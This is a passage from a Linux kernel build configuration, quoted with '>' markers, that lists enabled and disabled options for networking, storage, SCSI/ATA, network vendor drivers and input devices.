CONFIG_NET_SWITCHDEV=y > CONFIG_RPS=y > CONFIG_RFS_ACCEL=y > CONFIG_XPS=y > CONFIG_CGROUP_NET_PRIO=y > CONFIG_CGROUP_NET_CLASSID=y > CONFIG_NET_RX_BUSY_POLL=y > CONFIG_BQL=y > CONFIG_BPF_JIT=y > CONFIG_NET_FLOW_LIMIT=y > > # > # Network testing > # > # CONFIG_NET_PKTGEN is not set > # CONFIG_NET_TCPPROBE is not set > CONFIG_NET_DROP_MONITOR=y > CONFIG_HAMRADIO=y > > # > # Packet Radio protocols > # > # CONFIG_AX25 is not set > # CONFIG_CAN is not set > # CONFIG_IRDA is not set > # CONFIG_BT is not set > # CONFIG_AF_RXRPC is not set > CONFIG_FIB_RULES=y > CONFIG_WIRELESS=y > # CONFIG_CFG80211 is not set > # CONFIG_LIB80211 is not set > > # > # CFG80211 needs to be enabled for MAC80211 > # > CONFIG_MAC80211_STA_HASH_MAX_SIZE=0 > # CONFIG_WIMAX is not set > # CONFIG_RFKILL is not set > # CONFIG_NET_9P is not set > # CONFIG_CAIF is not set > # CONFIG_CEPH_LIB is not set > # CONFIG_NFC is not set > CONFIG_HAVE_BPF_JIT=y > > # > # Device Drivers > # > > # > # Generic Driver Options > # > # CONFIG_UEVENT_HELPER is not set > CONFIG_DEVTMPFS=y > CONFIG_DEVTMPFS_MOUNT=y > CONFIG_STANDALONE=y > CONFIG_PREVENT_FIRMWARE_BUILD=y > CONFIG_FW_LOADER=y > # CONFIG_FIRMWARE_IN_KERNEL is not set > CONFIG_EXTRA_FIRMWARE="" > CONFIG_FW_LOADER_USER_HELPER=y > CONFIG_FW_LOADER_USER_HELPER_FALLBACK=y > CONFIG_ALLOW_DEV_COREDUMP=y > # CONFIG_DEBUG_DRIVER is not set > CONFIG_DEBUG_DEVRES=y > CONFIG_SYS_HYPERVISOR=y > # CONFIG_GENERIC_CPU_DEVICES is not set > CONFIG_GENERIC_CPU_AUTOPROBE=y > CONFIG_DMA_SHARED_BUFFER=y > # CONFIG_FENCE_TRACE is not set > CONFIG_DMA_CMA=y > > # > # Default contiguous memory area size: > # > CONFIG_CMA_SIZE_MBYTES=600 > CONFIG_CMA_SIZE_SEL_MBYTES=y > # CONFIG_CMA_SIZE_SEL_PERCENTAGE is not set > # CONFIG_CMA_SIZE_SEL_MIN is not set > # CONFIG_CMA_SIZE_SEL_MAX is not set > CONFIG_CMA_ALIGNMENT=8 > > # > # Bus devices > # > CONFIG_CONNECTOR=y > CONFIG_PROC_EVENTS=y > # CONFIG_MTD is not set > # CONFIG_OF is not set > CONFIG_ARCH_MIGHT_HAVE_PC_PARPORT=y > CONFIG_PARPORT=y > CONFIG_PARPORT_PC=y > # CONFIG_PARPORT_SERIAL is not set > # CONFIG_PARPORT_PC_FIFO is not set > # CONFIG_PARPORT_PC_SUPERIO is not set > # CONFIG_PARPORT_PC_PCMCIA is not set > # CONFIG_PARPORT_GSC is not set > # CONFIG_PARPORT_AX88796 is not set > CONFIG_PARPORT_1284=y > CONFIG_PNP=y > # CONFIG_PNP_DEBUG_MESSAGES is not set > > # > # Protocols > # > CONFIG_PNPACPI=y > CONFIG_BLK_DEV=y > # CONFIG_BLK_DEV_NULL_BLK is not set > CONFIG_BLK_DEV_FD=y > # CONFIG_PARIDE is not set > # CONFIG_BLK_DEV_PCIESSD_MTIP32XX is not set > # CONFIG_ZRAM is not set > # CONFIG_BLK_CPQ_CISS_DA is not set > # CONFIG_BLK_DEV_DAC960 is not set > # CONFIG_BLK_DEV_UMEM is not set > # CONFIG_BLK_DEV_COW_COMMON is not set > # CONFIG_BLK_DEV_LOOP is not set > # CONFIG_BLK_DEV_DRBD is not set > # CONFIG_BLK_DEV_NBD is not set > # CONFIG_BLK_DEV_NVME is not set > # CONFIG_BLK_DEV_SKD is not set > # CONFIG_BLK_DEV_SX8 is not set > CONFIG_BLK_DEV_RAM=y > CONFIG_BLK_DEV_RAM_COUNT=1 > CONFIG_BLK_DEV_RAM_SIZE=1048576 > # CONFIG_CDROM_PKTCDVD is not set > # CONFIG_ATA_OVER_ETH is not set > # CONFIG_XEN_BLKDEV_FRONTEND is not set > # CONFIG_XEN_BLKDEV_BACKEND is not set > CONFIG_VIRTIO_BLK=y > # CONFIG_BLK_DEV_HD is not set > # CONFIG_BLK_DEV_RBD is not set > # CONFIG_BLK_DEV_RSXX is not set > > # > # Misc devices > # > # CONFIG_SENSORS_LIS3LV02D is not set > # CONFIG_AD525X_DPOT is not set > # CONFIG_DUMMY_IRQ is not set > # CONFIG_IBM_ASM is not set > # CONFIG_PHANTOM is not set > # CONFIG_SGI_IOC4 is not set > # CONFIG_TIFM_CORE is not set > # CONFIG_ICS932S401 is not set > # CONFIG_ENCLOSURE_SERVICES is not set > # CONFIG_SGI_XP is not set > # CONFIG_HP_ILO is not set > # CONFIG_SGI_GRU is not set > # CONFIG_APDS9802ALS is not set > # CONFIG_ISL29003 is not set > # CONFIG_ISL29020 is not set > # CONFIG_SENSORS_TSL2550 is not set > # CONFIG_SENSORS_BH1780 is not set > # CONFIG_SENSORS_BH1770 is not set > # CONFIG_SENSORS_APDS990X is not set > # CONFIG_HMC6352 is not set > # CONFIG_DS1682 is not set > # CONFIG_VMWARE_BALLOON is not set > # CONFIG_BMP085_I2C is not set > # CONFIG_USB_SWITCH_FSA9480 is not set > # CONFIG_SRAM is not set > # CONFIG_C2PORT is not set > > # > # EEPROM support > # > # CONFIG_EEPROM_AT24 is not set > # CONFIG_EEPROM_LEGACY is not set > # CONFIG_EEPROM_MAX6875 is not set > # CONFIG_EEPROM_93CX6 is not set > # CONFIG_CB710_CORE is not set > > # > # Texas Instruments shared transport line discipline > # > # CONFIG_TI_ST is not set > # CONFIG_SENSORS_LIS3_I2C is not set > > # > # Altera FPGA firmware download module > # > # CONFIG_ALTERA_STAPL is not set > # CONFIG_INTEL_MEI is not set > # CONFIG_INTEL_MEI_ME is not set > # CONFIG_INTEL_MEI_TXE is not set > # CONFIG_VMWARE_VMCI is not set > > # > # Intel MIC Bus Driver > # > # CONFIG_INTEL_MIC_BUS is not set > > # > # SCIF Bus Driver > # > # CONFIG_SCIF_BUS is not set > > # > # Intel MIC Host Driver > # > > # > # Intel MIC Card Driver > # > > # > # SCIF Driver > # > # CONFIG_GENWQE is not set > # CONFIG_ECHO is not set > # CONFIG_CXL_BASE is not set > # CONFIG_CXL_KERNEL_API is not set > CONFIG_HAVE_IDE=y > # CONFIG_IDE is not set > > # > # SCSI device support > # > CONFIG_SCSI_MOD=y > # CONFIG_RAID_ATTRS is not set > CONFIG_SCSI=y > CONFIG_SCSI_DMA=y > # CONFIG_SCSI_NETLINK is not set > # CONFIG_SCSI_MQ_DEFAULT is not set > CONFIG_SCSI_PROC_FS=y > > # > # SCSI support type (disk, tape, CD-ROM) > # > CONFIG_BLK_DEV_SD=y > # CONFIG_CHR_DEV_ST is not set > # CONFIG_CHR_DEV_OSST is not set > CONFIG_BLK_DEV_SR=y > CONFIG_BLK_DEV_SR_VENDOR=y > CONFIG_CHR_DEV_SG=y > # CONFIG_CHR_DEV_SCH is not set > CONFIG_SCSI_CONSTANTS=y > CONFIG_SCSI_LOGGING=y > CONFIG_SCSI_SCAN_ASYNC=y > > # > # SCSI Transports > # > # CONFIG_SCSI_SPI_ATTRS is not set > # CONFIG_SCSI_FC_ATTRS is not set > # CONFIG_SCSI_ISCSI_ATTRS is not set > # CONFIG_SCSI_SAS_ATTRS is not set > # CONFIG_SCSI_SAS_LIBSAS is not set > # CONFIG_SCSI_SRP_ATTRS is not set > CONFIG_SCSI_LOWLEVEL=y > # CONFIG_ISCSI_TCP is not set > # CONFIG_ISCSI_BOOT_SYSFS is not set > # CONFIG_SCSI_CXGB3_ISCSI is not set > # CONFIG_SCSI_CXGB4_ISCSI is not set > # CONFIG_SCSI_BNX2_ISCSI is not set > # CONFIG_BE2ISCSI is not set > # CONFIG_BLK_DEV_3W_XXXX_RAID is not set > # CONFIG_SCSI_HPSA is not set > # CONFIG_SCSI_3W_9XXX is not set > # CONFIG_SCSI_3W_SAS is not set > # CONFIG_SCSI_ACARD is not set > # CONFIG_SCSI_AACRAID is not set > # CONFIG_SCSI_AIC7XXX is not set > # CONFIG_SCSI_AIC79XX is not set > # CONFIG_SCSI_AIC94XX is not set > # CONFIG_SCSI_MVSAS is not set > # CONFIG_SCSI_MVUMI is not set > # CONFIG_SCSI_DPT_I2O is not set > # CONFIG_SCSI_ADVANSYS is not set > # CONFIG_SCSI_ARCMSR is not set > # CONFIG_SCSI_ESAS2R is not set > CONFIG_MEGARAID_NEWGEN=y > # CONFIG_MEGARAID_MM is not set > # CONFIG_MEGARAID_LEGACY is not set > # CONFIG_MEGARAID_SAS is not set > # CONFIG_SCSI_MPT2SAS is not set > # CONFIG_SCSI_MPT3SAS is not set > # CONFIG_SCSI_UFSHCD is not set > # CONFIG_SCSI_HPTIOP is not set > # CONFIG_SCSI_BUSLOGIC is not set > # CONFIG_VMWARE_PVSCSI is not set > # CONFIG_XEN_SCSI_FRONTEND is not set > # CONFIG_SCSI_SNIC is not set > # CONFIG_SCSI_DMX3191D is not set > # CONFIG_SCSI_EATA is not set > # CONFIG_SCSI_FUTURE_DOMAIN is not set > # CONFIG_SCSI_GDTH is not set > # CONFIG_SCSI_ISCI is not set > # CONFIG_SCSI_IPS is not set > # CONFIG_SCSI_INITIO is not set > # CONFIG_SCSI_INIA100 is not set > # CONFIG_SCSI_PPA is not set > # CONFIG_SCSI_IMM is not set > # CONFIG_SCSI_STEX is not set > # CONFIG_SCSI_SYM53C8XX_2 is not set > # CONFIG_SCSI_IPR is not set > # CONFIG_SCSI_QLOGIC_1280 is not set > # CONFIG_SCSI_QLA_ISCSI is not set > # CONFIG_SCSI_DC395x is not set > # CONFIG_SCSI_AM53C974 is not set > # CONFIG_SCSI_WD719X is not set > # CONFIG_SCSI_DEBUG is not set > # CONFIG_SCSI_PMCRAID is not set > # CONFIG_SCSI_PM8001 is not set > # CONFIG_SCSI_VIRTIO is not set > # CONFIG_SCSI_LOWLEVEL_PCMCIA is not set > CONFIG_SCSI_DH=y > # CONFIG_SCSI_DH_RDAC is not set > # CONFIG_SCSI_DH_HP_SW is not set > # CONFIG_SCSI_DH_EMC is not set > # CONFIG_SCSI_DH_ALUA is not set > # CONFIG_SCSI_OSD_INITIATOR is not set > CONFIG_ATA=y > # CONFIG_ATA_NONSTANDARD is not set > CONFIG_ATA_VERBOSE_ERROR=y > CONFIG_ATA_ACPI=y > # CONFIG_SATA_ZPODD is not set > CONFIG_SATA_PMP=y > > # > # Controllers with non-SFF native interface > # > CONFIG_SATA_AHCI=y > # CONFIG_SATA_AHCI_PLATFORM is not set > # CONFIG_SATA_INIC162X is not set > # CONFIG_SATA_ACARD_AHCI is not set > # CONFIG_SATA_SIL24 is not set > CONFIG_ATA_SFF=y > > # > # SFF controllers with custom DMA interface > # > # CONFIG_PDC_ADMA is not set > # CONFIG_SATA_QSTOR is not set > # CONFIG_SATA_SX4 is not set > CONFIG_ATA_BMDMA=y > > # > # SATA SFF controllers with BMDMA > # > CONFIG_ATA_PIIX=y > # CONFIG_SATA_MV is not set > # CONFIG_SATA_NV is not set > # CONFIG_SATA_PROMISE is not set > # CONFIG_SATA_SIL is not set > # CONFIG_SATA_SIS is not set > # CONFIG_SATA_SVW is not set > # CONFIG_SATA_ULI is not set > # CONFIG_SATA_VIA is not set > # CONFIG_SATA_VITESSE is not set > > # > # PATA SFF controllers with BMDMA > # > # CONFIG_PATA_ALI is not set > # CONFIG_PATA_AMD is not set > # CONFIG_PATA_ARTOP is not set > # CONFIG_PATA_ATIIXP is not set > # CONFIG_PATA_ATP867X is not set > # CONFIG_PATA_CMD64X is not set > # CONFIG_PATA_CYPRESS is not set > # CONFIG_PATA_EFAR is not set > # CONFIG_PATA_HPT366 is not set > # CONFIG_PATA_HPT37X is not set > # CONFIG_PATA_HPT3X2N is not set > # CONFIG_PATA_HPT3X3 is not set > # CONFIG_PATA_IT8213 is not set > # CONFIG_PATA_IT821X is not set > # CONFIG_PATA_JMICRON is not set > # CONFIG_PATA_MARVELL is not set > # CONFIG_PATA_NETCELL is not set > # CONFIG_PATA_NINJA32 is not set > # CONFIG_PATA_NS87415 is not set > # CONFIG_PATA_OLDPIIX is not set > # CONFIG_PATA_OPTIDMA is not set > # CONFIG_PATA_PDC2027X is not set > # CONFIG_PATA_PDC_OLD is not set > # CONFIG_PATA_RADISYS is not set > # CONFIG_PATA_RDC is not set > # CONFIG_PATA_SCH is not set > # CONFIG_PATA_SERVERWORKS is not set > # CONFIG_PATA_SIL680 is not set > # CONFIG_PATA_SIS is not set > # CONFIG_PATA_TOSHIBA is not set > # CONFIG_PATA_TRIFLEX is not set > # CONFIG_PATA_VIA is not set > # CONFIG_PATA_WINBOND is not set > > # > # PIO-only SFF controllers > # > # CONFIG_PATA_CMD640_PCI is not set > # CONFIG_PATA_MPIIX is not set > # CONFIG_PATA_NS87410 is not set > # CONFIG_PATA_OPTI is not set > # CONFIG_PATA_PCMCIA is not set > # CONFIG_PATA_PLATFORM is not set > # CONFIG_PATA_RZ1000 is not set > > # > # Generic fallback / legacy drivers > # > CONFIG_PATA_ACPI=y > CONFIG_ATA_GENERIC=y > # CONFIG_PATA_LEGACY is not set > CONFIG_MD=y > CONFIG_BLK_DEV_MD=y > CONFIG_MD_AUTODETECT=y > # CONFIG_MD_LINEAR is not set > # CONFIG_MD_RAID0 is not set > # CONFIG_MD_RAID1 is not set > # CONFIG_MD_RAID10 is not set > # CONFIG_MD_RAID456 is not set > # CONFIG_MD_MULTIPATH is not set > # CONFIG_MD_FAULTY is not set > # CONFIG_BCACHE is not set > CONFIG_BLK_DEV_DM_BUILTIN=y > CONFIG_BLK_DEV_DM=y > # CONFIG_DM_MQ_DEFAULT is not set > CONFIG_DM_DEBUG=y > CONFIG_DM_BUFIO=y > # CONFIG_DM_CRYPT is not set > CONFIG_DM_SNAPSHOT=y > # CONFIG_DM_THIN_PROVISIONING is not set > # CONFIG_DM_CACHE is not set > # CONFIG_DM_ERA is not set > CONFIG_DM_MIRROR=y > # CONFIG_DM_LOG_USERSPACE is not set > # CONFIG_DM_RAID is not set > CONFIG_DM_ZERO=y > # CONFIG_DM_MULTIPATH is not set > # CONFIG_DM_DELAY is not set > CONFIG_DM_UEVENT=y > # CONFIG_DM_FLAKEY is not set > # CONFIG_DM_VERITY is not set > # CONFIG_DM_SWITCH is not set > # CONFIG_DM_LOG_WRITES is not set > # CONFIG_TARGET_CORE is not set > CONFIG_FUSION=y > # CONFIG_FUSION_SPI is not set > # CONFIG_FUSION_SAS is not set > CONFIG_FUSION_MAX_SGE=40 > CONFIG_FUSION_LOGGING=y > > # > # IEEE 1394 (FireWire) support > # > # CONFIG_FIREWIRE is not set > # CONFIG_FIREWIRE_NOSY is not set > CONFIG_MACINTOSH_DRIVERS=y > CONFIG_MAC_EMUMOUSEBTN=y > CONFIG_NETDEVICES=y > CONFIG_NET_CORE=y > # CONFIG_BONDING is not set > # CONFIG_DUMMY is not set > # CONFIG_EQUALIZER is not set > CONFIG_NET_FC=y > # CONFIG_IFB is not set > # CONFIG_NET_TEAM is not set > # CONFIG_MACVLAN is not set > # CONFIG_IPVLAN is not set > # CONFIG_VXLAN is not set > # CONFIG_NETCONSOLE is not set > # CONFIG_NETPOLL is not set > # CONFIG_NET_POLL_CONTROLLER is not set > CONFIG_TUN=y > # CONFIG_TUN_VNET_CROSS_LE is not set > # CONFIG_VETH is not set > CONFIG_VIRTIO_NET=y > # CONFIG_NLMON is not set > # CONFIG_ARCNET is not set > > # > # CAIF transport drivers > # > # CONFIG_VHOST_NET is not set > # CONFIG_VHOST_CROSS_ENDIAN_LEGACY is not set > > # > # Distributed Switch Architecture drivers > # > # CONFIG_NET_DSA_MV88E6XXX is not set > # CONFIG_NET_DSA_MV88E6XXX_NEED_PPU is not set > CONFIG_ETHERNET=y > CONFIG_NET_VENDOR_3COM=y > # CONFIG_PCMCIA_3C574 is not set > # CONFIG_PCMCIA_3C589 is not set > # CONFIG_VORTEX is not set > # CONFIG_TYPHOON is not set > CONFIG_NET_VENDOR_ADAPTEC=y > # CONFIG_ADAPTEC_STARFIRE is not set > CONFIG_NET_VENDOR_AGERE=y > # CONFIG_ET131X is not set > CONFIG_NET_VENDOR_ALTEON=y > # CONFIG_ACENIC is not set > # CONFIG_ALTERA_TSE is not set > CONFIG_NET_VENDOR_AMD=y > # CONFIG_AMD8111_ETH is not set > # CONFIG_PCNET32 is not set > # CONFIG_PCMCIA_NMCLAN is not set > CONFIG_NET_VENDOR_ARC=y > CONFIG_NET_VENDOR_ATHEROS=y > # CONFIG_ATL2 is not set > # CONFIG_ATL1 is not set > # CONFIG_ATL1E is not set > # CONFIG_ATL1C is not set > # CONFIG_ALX is not set > CONFIG_NET_CADENCE=y > # CONFIG_MACB is not set > CONFIG_NET_VENDOR_BROADCOM=y > # CONFIG_B44 is not set > # CONFIG_BCMGENET is not set > # CONFIG_BNX2 is not set > # CONFIG_CNIC is not set > # CONFIG_TIGON3 is not set > # CONFIG_BNX2X is not set > CONFIG_NET_VENDOR_BROCADE=y > # CONFIG_BNA is not set > CONFIG_NET_VENDOR_CAVIUM=y > # CONFIG_THUNDER_NIC_PF is not set > # CONFIG_THUNDER_NIC_VF is not set > # CONFIG_THUNDER_NIC_BGX is not set > # CONFIG_LIQUIDIO is not set > CONFIG_NET_VENDOR_CHELSIO=y > # CONFIG_CHELSIO_T1 is not set > # CONFIG_CHELSIO_T3 is not set > # CONFIG_CHELSIO_T4 is not set > # CONFIG_CHELSIO_T4VF is not set > CONFIG_NET_VENDOR_CISCO=y > # CONFIG_ENIC is not set > # CONFIG_CX_ECAT is not set > # CONFIG_DNET is not set > CONFIG_NET_VENDOR_DEC=y > CONFIG_NET_TULIP=y > # CONFIG_DE2104X is not set > # CONFIG_TULIP is not set > # CONFIG_DE4X5 is not set > # CONFIG_WINBOND_840 is not set > # CONFIG_DM9102 is not set > # CONFIG_ULI526X is not set > # CONFIG_PCMCIA_XIRCOM is not set > CONFIG_NET_VENDOR_DLINK=y > # CONFIG_DL2K is not set > # CONFIG_SUNDANCE is not set > CONFIG_NET_VENDOR_EMULEX=y > # CONFIG_BE2NET is not set > CONFIG_NET_VENDOR_EZCHIP=y > CONFIG_NET_VENDOR_EXAR=y > # CONFIG_S2IO is not set > # CONFIG_VXGE is not set > # CONFIG_NET_VENDOR_FUJITSU is not set > # CONFIG_NET_VENDOR_HP is not set > CONFIG_NET_VENDOR_INTEL=y > # CONFIG_E100 is not set > # CONFIG_E1000 is not set > # CONFIG_E1000E is not set > # CONFIG_IGB is not set > # CONFIG_IGBVF is not set > # CONFIG_IXGB is not set > # CONFIG_IXGBE is not set > # CONFIG_IXGBEVF is not set > # CONFIG_I40E is not set > # CONFIG_I40EVF is not set > # CONFIG_FM10K is not set > # CONFIG_NET_VENDOR_I825XX is not set > # CONFIG_IP1000 is not set > # CONFIG_JME is not set > CONFIG_NET_VENDOR_MARVELL=y > # CONFIG_MVMDIO is not set > # CONFIG_SKGE is not set > # CONFIG_SKY2 is not set > CONFIG_NET_VENDOR_MELLANOX=y > # CONFIG_MLX4_EN is not set > # CONFIG_MLX4_CORE is not set > # CONFIG_MLX5_CORE is not set > CONFIG_NET_VENDOR_MICREL=y > # CONFIG_KS8851_MLL is not set > # CONFIG_KSZ884X_PCI is not set > CONFIG_NET_VENDOR_MYRI=y > # CONFIG_MYRI10GE is not set > # CONFIG_FEALNX is not set > CONFIG_NET_VENDOR_NATSEMI=y > # CONFIG_NATSEMI is not set > # CONFIG_NS83820 is not set > CONFIG_NET_VENDOR_8390=y > # CONFIG_PCMCIA_AXNET is not set > # CONFIG_NE2K_PCI is not set > # CONFIG_PCMCIA_PCNET is not set > CONFIG_NET_VENDOR_NVIDIA=y > # CONFIG_FORCEDETH is not set > CONFIG_NET_VENDOR_OKI=y > # CONFIG_ETHOC is not set > CONFIG_NET_PACKET_ENGINE=y > # CONFIG_HAMACHI is not set > # CONFIG_YELLOWFIN is not set > CONFIG_NET_VENDOR_QLOGIC=y > # CONFIG_QLA3XXX is not set > # CONFIG_QLCNIC is not set > # CONFIG_QLGE is not set > # CONFIG_NETXEN_NIC is not set > # CONFIG_NET_VENDOR_QUALCOMM is not set > CONFIG_NET_VENDOR_REALTEK=y > # CONFIG_ATP is not set > # CONFIG_8139CP is not set > # CONFIG_8139TOO is not set > # CONFIG_R8169 is not set > CONFIG_NET_VENDOR_RENESAS=y > CONFIG_NET_VENDOR_RDC=y > # CONFIG_R6040 is not set > CONFIG_NET_VENDOR_ROCKER=y > # CONFIG_ROCKER is not set > # CONFIG_NET_VENDOR_SAMSUNG is not set > # CONFIG_NET_VENDOR_SEEQ is not set > CONFIG_NET_VENDOR_SILAN=y > # CONFIG_SC92031 is not set > CONFIG_NET_VENDOR_SIS=y > # CONFIG_SIS900 is not set > # CONFIG_SIS190 is not set > # CONFIG_SFC is not set > CONFIG_NET_VENDOR_SMSC=y > # CONFIG_PCMCIA_SMC91C92 is not set > # CONFIG_EPIC100 is not set > # CONFIG_SMSC911X is not set > # CONFIG_SMSC9420 is not set > CONFIG_NET_VENDOR_STMICRO=y > # CONFIG_STMMAC_ETH is not set > CONFIG_NET_VENDOR_SUN=y > # CONFIG_HAPPYMEAL is not set > # CONFIG_SUNGEM is not set > # CONFIG_CASSINI is not set > # CONFIG_NIU is not set > CONFIG_NET_VENDOR_TEHUTI=y > # CONFIG_TEHUTI is not set > CONFIG_NET_VENDOR_TI=y > # CONFIG_TI_CPSW_ALE is not set > # CONFIG_TLAN is not set > CONFIG_NET_VENDOR_VIA=y > # CONFIG_VIA_RHINE is not set > # CONFIG_VIA_VELOCITY is not set > CONFIG_NET_VENDOR_WIZNET=y > # CONFIG_WIZNET_W5100 is not set > # CONFIG_WIZNET_W5300 is not set > CONFIG_NET_VENDOR_XIRCOM=y > # CONFIG_PCMCIA_XIRC2PS is not set > # CONFIG_FDDI is not set > # CONFIG_HIPPI is not set > # CONFIG_NET_SB1000 is not set > CONFIG_PHYLIB=y > > # > # MII PHY device drivers > # > # CONFIG_AT803X_PHY is not set > # CONFIG_AMD_PHY is not set > # CONFIG_MARVELL_PHY is not set > # CONFIG_DAVICOM_PHY is not set > # CONFIG_QSEMI_PHY is not set > # CONFIG_LXT_PHY is not set > # CONFIG_CICADA_PHY is not set > # CONFIG_VITESSE_PHY is not set > # CONFIG_SMSC_PHY is not set > # CONFIG_BROADCOM_PHY is not set > # CONFIG_BCM7XXX_PHY is not set > # CONFIG_BCM87XX_PHY is not set > # CONFIG_ICPLUS_PHY is not set > # CONFIG_REALTEK_PHY is not set > # CONFIG_NATIONAL_PHY is not set > # CONFIG_STE10XP is not set > # CONFIG_LSI_ET1011C_PHY is not set > # CONFIG_MICREL_PHY is not set > # CONFIG_DP83867_PHY is not set > CONFIG_FIXED_PHY=y > # CONFIG_MDIO_BITBANG is not set > # CONFIG_MDIO_BCM_UNIMAC is not set > # CONFIG_PLIP is not set > # CONFIG_PPP is not set > # CONFIG_SLIP is not set > CONFIG_USB_NET_DRIVERS=y > # CONFIG_USB_CATC is not set > # CONFIG_USB_KAWETH is not set > # CONFIG_USB_PEGASUS is not set > # CONFIG_USB_RTL8150 is not set > # CONFIG_USB_RTL8152 is not set > # CONFIG_USB_USBNET is not set > # CONFIG_USB_IPHETH is not set > CONFIG_WLAN=y > # CONFIG_PCMCIA_RAYCS is not set > # CONFIG_PRISM54 is not set > # CONFIG_HOSTAP is not set > # CONFIG_WL_MEDIATEK is not set > # CONFIG_WL_TI is not set > > # > # Enable WiMAX (Networking options) to see the WiMAX drivers > # > # CONFIG_WAN is not set > # CONFIG_XEN_NETDEV_FRONTEND is not set > # CONFIG_XEN_NETDEV_BACKEND is not set > # CONFIG_VMXNET3 is not set > CONFIG_ISDN=y > # CONFIG_ISDN_I4L is not set > # CONFIG_ISDN_CAPI is not set > # CONFIG_ISDN_DRV_GIGASET is not set > # CONFIG_HYSDN is not set > # CONFIG_MISDN is not set > > # > # Input device support > # > CONFIG_INPUT=y > CONFIG_INPUT_LEDS=y > CONFIG_INPUT_FF_MEMLESS=y > # CONFIG_INPUT_POLLDEV is not set > # CONFIG_INPUT_SPARSEKMAP is not set > # CONFIG_INPUT_MATRIXKMAP is not set > > # > # Userland interfaces > # > CONFIG_INPUT_MOUSEDEV=y > # CONFIG_INPUT_MOUSEDEV_PSAUX is not set > CONFIG_INPUT_MOUSEDEV_SCREEN_X=1024 > CONFIG_INPUT_MOUSEDEV_SCREEN_Y=768 > CONFIG_INPUT_JOYDEV=y > CONFIG_INPUT_EVDEV=y > # CONFIG_INPUT_EVBUG is not set > > # > # Input Device Drivers > # > CONFIG_INPUT_KEYBOARD=y > # CONFIG_KEYBOARD_ADP5588 is not set > # CONFIG_KEYBOARD_ADP5589 is not set > CONFIG_KEYBOARD_ATKBD=y > # CONFIG_KEYBOARD_QT1070 is not set > # CONFIG_KEYBOARD_QT2160 is not set > # CONFIG_KEYBOARD_LKKBD is not set > # CONFIG_KEYBOARD_GPIO is not set > # CONFIG_KEYBOARD_GPIO_POLLED is not set > # CONFIG_KEYBOARD_TCA6416 is not set > # CONFIG_KEYBOARD_TCA8418 is not set > # CONFIG_KEYBOARD_MATRIX is not set > # CONFIG_KEYBOARD_LM8323 is not set > # CONFIG_KEYBOARD_LM8333 is not set > # CONFIG_KEYBOARD_MAX7359 is not set > # CONFIG_KEYBOARD_MCS is not set > # CONFIG_KEYBOARD_MPR121 is not set > # CONFIG_KEYBOARD_NEWTON is not set > # CONFIG_KEYBOARD_OPENCORES is not set > # CONFIG_KEYBOARD_SAMSUNG is not set > # CONFIG_KEYBOARD_STOWAWAY is not set > # CONFIG_KEYBOARD_SUNKBD is not set > # CONFIG_KEYBOARD_XTKBD is not set > CONFIG_INPUT_MOUSE=y > CONFIG_MOUSE_PS2=y > CONFIG_MOUSE_PS2_ALPS=y > CONFIG_MOUSE_PS2_LOGIPS2PP=y > CONFIG_MOUSE_PS2_SYNAPTICS=y > CONFIG_MOUSE_PS2_CYPRESS=y > CONFIG_MOUSE_PS2_LIFEBOOK=y > CONFIG_MOUSE_PS2_TRACKPOINT=y > CONFIG_MOUSE_PS2_ELANTECH=y > CONFIG_MOUSE_PS2_SENTELIC=y > # CONFIG_MOUSE_PS2_TOUCHKIT is not set > CONFIG_MOUSE_PS2_FOCALTECH=y > CONFIG_MOUSE_PS2_VMMOUSE=y > # CONFIG_MOUSE_SERIAL is not set > # CONFIG_MOUSE_APPLETOUCH is not set > # CONFIG_MOUSE_BCM5974 is not set > # CONFIG_MOUSE_CYAPA is not set > # CONFIG_MOUSE_ELAN_I2C is not set > # CONFIG_MOUSE_VSXXXAA is not set > # CONFIG_MOUSE_GPIO is not set > # CONFIG_MOUSE_SYNAPTICS_I2C is not set > # CONFIG_MOUSE_SYNAPTICS_USB is not set > CONFIG_INPUT_JOYSTICK=y > # CONFIG_JOYSTICK_ANALOG is not set > # CONFIG_JOYSTICK_A3D is not set > # CONFIG_JOYSTICK_ADI is not set > # CONFIG_JOYSTICK_COBRA is not set > # CONFIG_JOYSTICK_GF2K is not set > # CONFIG_JOYSTICK_GRIP is not set > # CONFIG_JOYSTICK_GRIP_MP is not set > # CONFIG_JOYSTICK_GUILLEMOT is not set > # CONFIG_JOYSTICK_INTERACT is not set > # CONFIG_JOYSTICK_SIDEWINDER is not set > # CONFIG_JOYSTICK_TMDC is not set > # CONFIG_JOYSTICK_IFORCE is not set > # CONFIG_JOYSTICK_WARRIOR is not set > # CONFIG_JOYSTICK_MAGELLAN is not set > # CONFIG_JOYSTICK_SPACEORB is not set > # CONFIG_JOYSTICK_SPACEBALL is not set > # CONFIG_JOYSTICK_STINGER is not set > # CONFIG_JOYSTICK_TWIDJOY is not set > # CONFIG_JOYSTICK_ZHENHUA is not set > # CONFIG_JOYSTICK_DB9 is not set > # CONFIG_JOYSTICK_GAMECON is not set > # CONFIG_JOYSTICK_TURBOGRAFX is not set > # CONFIG_JOYSTICK_AS5011 is not set > # CONFIG_JOYSTICK_JOYDUMP is not set > # CONFIG_JOYSTICK_XPAD is not set > # CONFIG_JOYSTICK_WALKERA0701 is not set > CONFIG_INPUT_TABLET=y > # CONFIG_TABLET_USB_ACECAD is not set > # CONFIG_TABLET_USB_AIPTEK is not set > # CONFIG_TABLET_USB_GTCO is not set > # CONFIG_TABLET_USB_HANWANG is not set > # CONFIG_TABLET_USB_KBTAB is not set > # CONFIG_TABLET_SERIAL_WACOM4 is not set > CONFIG_INPUT_TOUCHSCREEN=y > # CONFIG_TOUCHSCREEN_AD7879 is not set > # CONFIG_TOUCHSCREEN_ATMEL_MXT is not set > # CONFIG_TOUCHSCREEN_AUO_PIXCIR is not set > # CONFIG_TOUCHSCREEN_BU21013 is not set > # CONFIG_TOUCHSCREEN_CY8CTMG110 is not set > # CONFIG_TOUCHSCREEN_CYTTSP_CORE is not set > # CONFIG_TOUCHSCREEN_CYTTSP4_CORE is not set > # CONFIG_TOUCHSCREEN_DYNAPRO is not set > # CONFIG_TOUCHSCREEN_HAMPSHIRE is not set > # CONFIG_TOUCHSCREEN_EETI is not set > # CONFIG_TOUCHSCREEN_FUJITSU is not set > # CONFIG_TOUCHSCREEN_GOODIX is not set > # CONFIG_TOUCHSCREEN_ILI210X is not set > # CONFIG_TOUCHSCREEN_GUNZE is not set > # CONFIG_TOUCHSCREEN_ELAN is not set > # CONFIG_TOUCHSCREEN_ELO is not set > # CONFIG_TOUCHSCREEN_WACOM_W8001 is not set > # CONFIG_TOUCHSCREEN_WACOM_I2C is not set > # CONFIG_TOUCHSCREEN_MAX11801 is not set > # 